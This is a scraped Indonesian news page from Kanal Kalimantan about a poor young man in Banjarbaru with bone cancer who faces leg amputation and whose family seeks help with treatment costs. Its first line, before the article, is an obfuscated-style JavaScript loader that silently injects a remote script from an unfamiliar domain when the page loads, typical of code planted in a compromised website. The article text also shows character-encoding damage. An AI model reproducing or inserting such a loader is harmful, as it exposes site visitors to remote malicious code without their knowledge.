(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU – Warga miskin penderita kanker tulang, Dwi suprianto (22) yang tinggal di Kelurahan Sungai Ulin, Banjarbaru mengaku siap melanjutkan pengobatan penyakit yang ia derita, meskipun ia harus kehilangan kaki kanannya demi kesembuhan penyakit yang ia derita.
Tri Sutrisno, adik kandung Dwi Suprianto menceritakan, Dwiâ€â€nama panggilan, red–Sekian lama terbaring lemas dikasur yang sederhana, di rumahnya yang beralamat di Kelurahan Sungai Ulun Rt 20 RW o5, Banjarbaru. Dwi penderita kanker tulang kaki selalu ditemani ibu kandungnya Miswati (62), yang selalu setia setiap hari melayani keperluannya sehari-hari.
“ Tahun 2016 lalu dwi sudah tidak bisa beraktivitas sehari-hari.ia hanya diam di kasur,†ujar Tri ditemui wartawan Kanal Kalimantan, Selasa (17/10).
Diceritakannya, penyakit yang dialami Dwi bermula setelah kejadian laka lantas pada tahun 2015 silam. Dwi tidak merasakan rasa sakit dikakinya, namun setelah 3 bulan berlalu, barulah ia merasakan rasa sakit dan kejanggalan pada kaki kanannya.Setiap melakukan aktivitas selalu merasakan sakit dan kaki kanannya mengecil.
Beberapa kali ia menanyakan kepada Ibunya tentang sakit yang dirasakannya, namun ibunya menjawab kalau hal itu tidak apa-apa, untuk menenangkan si buah hatinya, meskipun ia melihat dan merasakan kejanggalan.
Seiring dengan waktu ditahun 2016, Dwi mulai tak bisa beraktivitas hanya terbaring lunglai diatas kasur. Melihat Dwi tak berdaya, ibunya langsung memeriksa kesalah satu rumah sakit terdekat. Dan yang mengejutkan ibunya,Dwi divonis kanker tulang kaki.
Karena warga tak mampu, Dinas Kesehatan Banjarbaru dan Badan Penyelenggara Jaminan Sosial (BPJS) meberikan bantuan pengobatan secara cuma-Cuma, untuk melanjutkan pengobatan ke tingkat yang lebih serius, dan di Bulan Mei 2017, ia diterbangkan ke Surabaya untuk melanjutkan pengobatannya secara medis, dengan didampingi Dr. Sutomo. Saat itu, tim dokter memutuskan untuk mengamputasi kaki kananya, jika ingin penyakitnya sembuh. Namun demikian., ia belum siap menghadapi kenyataan jika harus kehilangan kaki kannya, dan ia memutuskan untuk pulang ke kampung.
“Beberapa bulan keluarga dan teman-teman memberi dukungan. Dwi bersedia untuk di lanjutkan lagi pengobatan secara medis demi kesembuhan dirinya,†terangnya.
Namun demikian, hingga kini belum ada pihaknya yang berencana akan membantu untuk biaya pengobatannya.
“Ada satu organisasi pecinta alam yang akan melakukan bakti sosial pengumpulan dana. Mudah-mudahan nantinya dananya cukup pengobatan,†pungkasnya. (Hendera)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
This website uses cookies.